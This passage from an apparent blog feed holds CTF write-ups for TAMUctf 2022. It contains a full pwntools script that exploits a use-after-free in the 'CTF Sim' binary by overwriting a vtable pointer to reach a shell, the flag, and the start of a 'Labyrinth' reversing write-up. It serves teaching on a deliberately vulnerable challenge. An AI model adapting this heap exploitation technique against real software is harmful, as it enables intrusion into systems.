solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Chunk is allocated-- reusing the chunk previously deallocated.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Overwrite vptr of downloaded[0] with &amp;amp;(&amp;amp;win).&lt;/span&gt;
submit_writeup&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;win_addr&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# downloaded[0]-&amp;gt;solve() triggers double dereference (due to virtual function resolution) and calls win()!&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To explain the &amp;quot;little bit of heap knowledge&amp;quot;, we just need to understand that C++&#39;s &lt;code&gt;new&lt;/code&gt;/&lt;code&gt;delete&lt;/code&gt; behaves like C&#39;s &lt;code&gt;malloc&lt;/code&gt;/&lt;code&gt;free&lt;/code&gt;: &lt;code&gt;new&lt;/code&gt; will allocate a chunk, and &lt;code&gt;delete&lt;/code&gt; will move the chunk to a bin. There are tons of different bins (small, large, fast, unsorted). But intuitively, the next &lt;code&gt;new&lt;/code&gt; with a similar chunk size will reuse the chunk, meaning we overwrite the same memory previously allocated!&lt;/p&gt;
&lt;p&gt;This story is reflected in the code above.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We download a challenge. This will &lt;code&gt;new&lt;/code&gt; a chunk. The index and type of challenge (&lt;code&gt;forensic&lt;/code&gt;, &lt;code&gt;pwn&lt;/code&gt;, etc.) don&#39;t really matter, but just make sure we keep reusing the same index.&lt;/li&gt;
&lt;li&gt;We solve a challenge. Here we &lt;code&gt;delete&lt;/code&gt; the chunk previously allocated.&lt;/li&gt;
&lt;li&gt;We submit a writeup. This &lt;code&gt;malloc&lt;/code&gt;s a chunk and inserts a payload of &lt;code&gt;win_addr&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;The size to malloc can be anywhere between &lt;code&gt;0x8&lt;/code&gt; (exclusive) and &lt;code&gt;0x18&lt;/code&gt; (inclusive). I used &lt;code&gt;0x10&lt;/code&gt; since it looks pretty.&lt;/li&gt;
&lt;li&gt;Anything equal or less than &lt;code&gt;0x8&lt;/code&gt; means our 8-byte payload will be cut off early. All 8 bytes are important, because the vptr machinery will be using the entire 8 bytes.&lt;/li&gt;
&lt;li&gt;Anything above &lt;code&gt;0x18&lt;/code&gt; will allocate a new chunk instead of reusing the previously deallocated chunk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We solve the same challenge as before. This triggers a call to a virtual function which double-derefs our payload (&lt;code&gt;win_addr&lt;/code&gt;), calling &lt;code&gt;win()&lt;/code&gt; and giving us a shell. PROFIT!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;solve-scripts&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#solve-scripts&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Scripts&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

binary &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;ctf_sim&#39;&lt;/span&gt;

context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;binary &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; binary
context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;log_level &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;debug&#39;&lt;/span&gt;

elf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;binary&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
rop &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ROP&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;binary&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remote&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tamuctf.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ssl&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sni&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ctf-sim&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;download_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; save_index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; category &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; save_index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;save_index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;submit_writeup&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; length &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;your math bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;n&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad newline&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;3&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# downloaded[0] = new forensics;   (vptr points to forensic&#39;s vtable.)&lt;/span&gt;
download_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Chunk is allocated-- reusing the chunk previously deallocated.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Overwrite vptr of downloaded[0] with &amp;amp;(&amp;amp;win).&lt;/span&gt;
submit_writeup&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;win_addr&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# downloaded[0]-&amp;gt;solve() triggers double dereference (due to virtual function resolution) and calls win()!&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;gigem{h34pl355_1n_53477l3}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>ctf</category>
        
          <category>pwn</category>
        
          <category>python</category>
        
          <category>cpp</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>TAMUctf 2022 – Labyrinth</title>
        <description>Using CFGs to solve a control-flow maze.</description>
        <link href="https://trebledj.me/posts/tamuctf-2022-labyrinth/"/>
        <updated>2022-04-22T00:00:00Z</updated>
        <id>https://trebledj.me/posts/tamuctf-2022-labyrinth/</id>
        <content xml:lang="en" type="html">&lt;h3 id=&quot;challenge-description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#challenge-description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Challenge Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;To get the flag you&#39;ll need to get to the end of a maz- five randomly generated mazes within five minutes.&lt;/p&gt;
&lt;p&gt;This is an automatic reversing challenge. You will be provided an ELF as a hex string. You should analyze it, construct an input to make it terminate with &lt;code&gt;exit(0)&lt;/code&gt;, and then respond with your input in the same format. You will need to solve five binaries within a five minute timeout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;write-up&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#write-up&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Write-Up&lt;/h3&gt;
&lt;h4 id=&quot;preliminary-observations-and-analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#preliminary-observations-and-analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Preliminary Observations and Analysis&lt;/h4&gt;
&lt;p&gt;Unlike other reverse challenges, this one requires us to connect to a server and auto-hack not one, but &lt;em&gt;five&lt;/em&gt; binaries. We&#39;re provided with this template:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;solver-template.py&quot; class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remote&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tamuctf.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ssl&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sni&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;labyrinth&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; binary &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;elf&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fromhex&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rstrip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;# send whatever data you want&lt;/span&gt;
  p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;howdy&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;solver-template.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Modifying the template slightly, we run and download a couple binaries for analysis.&lt;/p&gt;
&lt;p&gt;As a first step, we&#39;ll run &lt;code&gt;checksec&lt;/code&gt; to see what securities are in place.&lt;/p&gt;
